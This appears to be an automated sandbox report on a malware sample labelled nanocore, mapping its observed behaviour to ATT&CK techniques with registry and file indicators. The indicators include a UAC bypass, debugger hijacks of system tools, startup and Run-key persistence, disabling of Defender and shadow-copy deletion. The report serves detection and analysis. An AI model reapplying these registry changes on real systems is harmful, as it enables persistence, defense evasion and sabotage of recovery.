nanocore | 9f5cba7b2255191997976855d68923469f30b6a0a306b46288920aa04345f2d9

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	pixan.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	pixan.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	pixan.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3408	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_155.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	pixan.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	pixan.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	pixan.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2956	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	pixan.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	pixan.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	pixan.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2468	wscript.exe
2940	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	pixan.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	pixan.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5984	sc.exe
2956	sc.exe
1232	sc.exe
1664	sc.exe
2704	sc.exe
5324	sc.exe
5936	sc.exe
6012	sc.exe
5720	sc.exe
4512	sc.exe
5204	sc.exe
5740	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5804	cmd.exe
4304	cmd.exe
2668	cmd.exe
4248	cmd.exe
3536	cmd.exe
5884	cmd.exe
3700	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1648	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
392	NETSTAT.EXE
4472	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4900	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3400	vssadmin.exe
3900	vssadmin.exe
1444	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	pixan.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134303525379016567"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	pixan.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	pixan.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe\" \"%1\""	pixan.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	pixan.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	pixan.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	pixan.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\pixan.io_chrome.exe"	pixan.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	pixan.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	pixan.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	pixan.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	pixan.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	pixan.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	pixan.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	pixan.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	pixan.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5440	schtasks.exe
1260	schtasks.exe
1936	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4156	chrome.exe
4156	chrome.exe
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe
3064	WMIC.exe
3064	WMIC.exe
3064	WMIC.exe
3064	WMIC.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
4748	WMIC.exe
4748	WMIC.exe
4748	WMIC.exe
4748	WMIC.exe
3264	pixan.io_chrome.exe
1260	WMIC.exe
1260	WMIC.exe
1260	WMIC.exe
1260	WMIC.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe
3264	pixan.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3264	pixan.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeIncreaseQuotaPrivilege	3064	WMIC.exe
Token: SeSecurityPrivilege	3064	WMIC.exe
Token: SeTakeOwnershipPrivilege	3064	WMIC.exe
Token: SeLoadDriverPrivilege	3064	WMIC.exe
Token: SeSystemProfilePrivilege	3064	WMIC.exe
Token: SeSystemtimePrivilege	3064	WMIC.exe
Token: SeProfSingleProcessPrivilege	3064	WMIC.exe
Token: SeIncBasePriorityPrivilege	3064	WMIC.exe
Token: SeCreatePagefilePrivilege	3064	WMIC.exe
Token: SeBackupPrivilege	3064	WMIC.exe
Token: SeRestorePrivilege	3064	WMIC.exe
Token: SeShutdownPrivilege	3064	WMIC.exe
Token: SeDebugPrivilege	3064	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3064	WMIC.exe
Token: SeRemoteShutdownPrivilege	3064	WMIC.exe
Token: SeUndockPrivilege	3064	WMIC.exe
Token: SeManageVolumePrivilege	3064	WMIC.exe
Token: 33	3064	WMIC.exe
Token: 34	3064	WMIC.exe
Token: 35	3064	WMIC.exe
Token: 36	3064	WMIC.exe
Token: SeShutdownPrivilege	4156	chrome.exe
Token: SeCreatePagefilePrivilege	4156	chrome.exe
Token: SeIncreaseQuotaPrivilege	3064	WMIC.exe
Token: SeSecurityPrivilege	3064	WMIC.exe
Token: SeTakeOwnershipPrivilege	3064	WMIC.exe
Token: SeLoadDriverPrivilege	3064	WMIC.exe
Token: SeSystemProfilePrivilege	3064	WMIC.exe
Token: SeSystemtimePrivilege	3064	WMIC.exe
Token: SeProfSingleProcessPrivilege	3064	WMIC.exe
Token: SeIncBasePriorityPrivilege	3064	WMIC.exe
Token: SeCreatePagefilePrivilege	3064	WMIC.exe
Token: SeBackupPrivilege	3064	WMIC.exe
Token: SeRestorePrivilege	3064	WMIC.exe
Token: SeShutdownPrivilege	3064	WMIC.exe
Token: SeDebugPrivilege	3064	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3064	WMIC.exe
Token: SeRemoteShutdownPrivilege	3064	WMIC.exe
Token: SeUndockPrivilege	3064	WMIC.exe
Token: SeManageVolumePrivilege	3064	WMIC.exe
Token: 33	3064	WMIC.exe
Token: 34	3064	WMIC.exe
Token: 35	3064	WMIC.exe
Token: 36	3064	WMIC.exe
Token: SeBackupPrivilege	3684	vssvc.exe
Token: SeRestorePrivilege	3684	vssvc.exe
Token: SeAuditPrivilege	3684	vssvc.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe
4156	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3264	pixan.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 4156	3264	pixan.io_chrome.exe	89
PID 4156 wrote to memory of 1308	4156	chrome.exe	90
PID 3264 wrote to memory of 4676	3264	pixan.io_chrome.exe	91
PID 4156 wrote to memory of 1680	4156	chrome.exe	93
PID 4156 wrote to memory of 1648	4156	chrome.exe	94
PID 4156 wrote to memory of 1680	4156	chrome.exe	93
PID 4156 wrote to memory of 4496	4156	chrome.exe	95
PID 4156 wrote to memory of 4496	4156	chrome.exe	95
PID 3264 wrote to memory of 2956	3264	pixan.io_chrome.exe	164
PID 4156 wrote to memory of 3848	4156	chrome.exe	98
PID 4156 wrote to memory of 3848	4156	chrome.exe	98
PID 4156 wrote to memory of 5768	4156	chrome.exe	99
PID 4156 wrote to memory of 5768	4156	chrome.exe	99
PID 3264 wrote to memory of 5324	3264	pixan.io_chrome.exe	101
PID 3264 wrote to memory of 5936	3264	pixan.io_chrome.exe	169
PID 4156 wrote to memory of 1088	4156	chrome.exe	106
PID 4156 wrote to memory of 1088	4156	chrome.exe	106
PID 3264 wrote to memory of 1232	3264	pixan.io_chrome.exe	105
PID 4156 wrote to memory of 2324	4156	chrome.exe	108
PID 4156 wrote to memory of 2324	4156	chrome.exe	108
PID 3264 wrote to memory of 1664	3264	pixan.io_chrome.exe	109
PID 3264 wrote to memory of 6012	3264	pixan.io_chrome.exe	111
PID 3264 wrote to memory of 5720	3264	pixan.io_chrome.exe	113
PID 3264 wrote to memory of 4512	3264	pixan.io_chrome.exe	115
PID 3264 wrote to memory of 1940	3264	pixan.io_chrome.exe	117
PID 3264 wrote to memory of 5204	3264	pixan.io_chrome.exe	118
PID 3264 wrote to memory of 2704	3264	pixan.io_chrome.exe	188
PID 1940 wrote to memory of 1332	1940	fodhelper.exe	122
PID 3264 wrote to memory of 3400	3264	pixan.io_chrome.exe	131
PID 3264 wrote to memory of 3064	3264	pixan.io_chrome.exe	194
PID 3264 wrote to memory of 2468	3264	pixan.io_chrome.exe	195
PID 3264 wrote to memory of 5440	3264	pixan.io_chrome.exe	133
PID 3264 wrote to memory of 1260	3264	pixan.io_chrome.exe	166
PID 3264 wrote to memory of 2668	3264	pixan.io_chrome.exe	140
PID 3264 wrote to memory of 1200	3264	pixan.io_chrome.exe	141
PID 3264 wrote to memory of 4304	3264	pixan.io_chrome.exe	143
